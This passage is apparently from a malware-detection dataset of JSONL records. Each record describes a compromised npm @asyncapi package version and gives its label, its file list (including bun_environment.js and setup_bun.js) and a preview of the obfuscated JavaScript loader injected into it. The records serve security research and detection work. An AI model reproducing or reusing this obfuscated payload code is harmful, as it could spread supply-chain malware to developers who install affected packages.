_0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmpi2en0non/@asyncapi-diff/package/bun_environment.js", "tmp/tmpi2en0non/@asyncapi-diff/package/lib/standards/v2.js", "tmp/tmpi2en0non/@asyncapi-diff/package/lib/standards/v3.js", "tmp/tmpi2en0non/@asyncapi-diff/package/setup_bun.js", "tmp/tmpi2en0non/@asyncapi-diff/package/lib/helpers/DiffHelpers.js", "tmp/tmpi2en0non/@asyncapi-diff/package/lib/helpers/MarkdownHelpers.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@generator-react-sdk", "version": "1.1.4", "filename": "2025-11-24-@asyncapi_generator-react-sdk-v1.1.4.zip", "primary_file": "tmp/tmpjr83llri/@asyncapi-generator-react-sdk/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmpjr83llri/@asyncapi-generator-react-sdk/package/bun_environment.js", "tmp/tmpjr83llri/@asyncapi-generator-react-sdk/package/lib/transpiler/__tests__/transpiler.spec.js", "tmp/tmpjr83llri/@asyncapi-generator-react-sdk/package/lib/renderer/__tests__/renderer.spec.js", "tmp/tmpjr83llri/@asyncapi-generator-react-sdk/package/lib/transpiler/transpiler.js", "tmp/tmpjr83llri/@asyncapi-generator-react-sdk/package/lib/renderer/template.js", "tmp/tmpjr83llri/@asyncapi-generator-react-sdk/package/lib/renderer/__tests__/template.spec.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@generator-helpers", "version": "0.2.2", "filename": "2025-11-24-@asyncapi_generator-helpers-v0.2.2.zip", "primary_file": "tmp/tmp__7uaz0_/@asyncapi-generator-helpers/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp__7uaz0_/@asyncapi-generator-helpers/package/bun_environment.js", "tmp/tmp__7uaz0_/@asyncapi-generator-helpers/package/test/testing.test.js", "tmp/tmp__7uaz0_/@asyncapi-generator-helpers/package/test/utils.test.js", "tmp/tmp__7uaz0_/@asyncapi-generator-helpers/package/setup_bun.js", "tmp/tmp__7uaz0_/@asyncapi-generator-helpers/package/src/testing.js", "tmp/tmp__7uaz0_/@asyncapi-generator-helpers/package/test/bindings.test.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@bundler", "version": "0.6.6", "filename": "2025-11-24-@asyncapi_bundler-v0.6.6.zip", "primary_file": "tmp/tmpn33us10s/@asyncapi-bundler/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpn33us10s/@asyncapi-bundler/package/bun_environment.js", "tmp/tmpn33us10s/@asyncapi-bundler/package/lib/util.js", "tmp/tmpn33us10s/@asyncapi-bundler/package/setup_bun.js", "tmp/tmpn33us10s/@asyncapi-bundler/package/lib/index.js", "tmp/tmpn33us10s/@asyncapi-bundler/package/lib/parser.js", "tmp/tmpn33us10s/@asyncapi-bundler/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@java-template", "version": "0.3.5", "filename": "2025-11-24-@asyncapi_java-template-v0.3.5.zip", "primary_file": "tmp/tmplhstu0un/@asyncapi-java-template/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmplhstu0un/@asyncapi-java-template/package/bun_environment.js", "tmp/tmplhstu0un/@asyncapi-java-template/package/.github/workflows/scripts/mailchimp/htmlContent.js", "tmp/tmplhstu0un/@asyncapi-java-template/package/test/integration.test.js", "tmp/tmplhstu0un/@asyncapi-java-template/package/test/Kafka.test.js", "tmp/tmplhstu0un/@asyncapi-java-template/package/components/PomHelper.js", "tmp/tmplhstu0un/@asyncapi-java-template/package/components/ConnectionHelper/MQConnectionHelper.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@nunjucks-filters", "version": "2.1.2", "filename": "2025-11-24-@asyncapi_nunjucks-filters-v2.1.2.zip", "primary_file": "tmp/tmpk9pwullt/@asyncapi-nunjucks-filters/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpk9pwullt/@asyncapi-nunjucks-filters/package/bun_environment.js", "tmp/tmpk9pwullt/@asyncapi-nunjucks-filters/package/src/customFilters.test.js", "tmp/tmpk9pwullt/@asyncapi-nunjucks-filters/package/src/customFilters.js", "tmp/tmpk9pwullt/@asyncapi-nunjucks-filters/package/setup_bun.js", "tmp/tmpk9pwullt/@asyncapi-nunjucks-filters/package/package.json", "tmp/tmpk9pwullt/@asyncapi-nunjucks-filters/package/src/lodashFilters.test.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@multi-parser", "version": "2.2.2", "filename": "2025-11-24-@asyncapi_multi-parser-v2.2.2.zip", "primary_file": "tmp/tmpifm9hh_v/@asyncapi-multi-parser/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpifm9hh_v/@asyncapi-multi-parser/package/bun_environment.js", "tmp/tmpifm9hh_v/@asyncapi-multi-parser/package/setup_bun.js", "tmp/tmpifm9hh_v/@asyncapi-multi-parser/package/cjs/parse.js", "tmp/tmpifm9hh_v/@asyncapi-multi-parser/package/package.json", "tmp/tmpifm9hh_v/@asyncapi-multi-parser/package/esm/parse.js", "tmp/tmpifm9hh_v/@asyncapi-multi-parser/package/cjs/convert.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@markdown-template", "version": "1.6.8", "filename": "2025-11-24-@asyncapi_markdown-template-v1.6.8.zip", "primary_file": "tmp/tmprlxqn84s/@asyncapi-markdown-template/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmprlxqn84s/@asyncapi-markdown-template/package/bun_environment.js", "tmp/tmprlxqn84s/@asyncapi-markdown-template/package/test/components/Operations.test.js", "tmp/tmprlxqn84s/@asyncapi-markdown-template/package/test/components/Schema.test.js", "tmp/tmprlxqn84s/@asyncapi-markdown-template/package/test/helpers/schema.test.js", "tmp/tmprlxqn84s/@asyncapi-markdown-template/package/.github/workflows/scripts/mailchimp/htmlContent.js", "tmp/tmprlxqn84s/@asyncapi-markdown-template/package/test/components/Servers.test.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@java-spring-template", "version": "1.6.2", "filename": "2025-11-24-@asyncapi_java-spring-template-v1.6.2.zip", "primary_file": "tmp/tmph3246cmb/@asyncapi-java-spring-template/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmph3246cmb/@asyncapi-java-spring-template/package/bun_environment.js", "tmp/tmph3246cmb/@asyncapi-java-spring-template/package/.github/workflows/scripts/mailchimp/htmlContent.js", "tmp/tmph3246cmb/@asyncapi-java-spring-template/package/filters/all.js", "tmp/tmph3246cmb/@asyncapi-java-spring-template/package/setup_bun.js", "tmp/tmph3246cmb/@asyncapi-java-spring-template/package/package.json", "tmp/tmph3246cmb/@asyncapi-java-spring-template/package/tests/parameters.test.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@protobuf-schema-parser", "version": "3.5.3", "filename": "2025-11-24-@asyncapi_protobuf-schema-parser-v3.5.3.zip", "primary_file": "tmp/tmpougk5ii9/@asyncapi-protobuf-schema-parser/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpougk5ii9/@asyncapi-protobuf-schema-parser/package/bun_environment.js", "tmp/tmpougk5ii9/@asyncapi-protobuf-schema-parser/package/cjs/google-types.js", "tmp/tmpougk5ii9/@asyncapi-protobuf-schema-parser/package/esm/google-types.js", "tmp/tmpougk5ii9/@asyncapi-protobuf-schema-parser/package/cjs/protoj2jsonSchema.js", "tmp/tmpougk5ii9/@asyncapi-protobuf-schema-parser/package/esm/protoj2jsonSchema.js", "tmp/tmpougk5ii9/@asyncapi-protobuf-schema-parser/package/cjs/protovalidate.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@generator-components", "version": "0.3.3", "filename": "2025-11-24-@asyncapi_generator-components-v0.3.3.zip", "primary_file": "tmp/tmppmbdy4im/@asyncapi-generator-components/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of 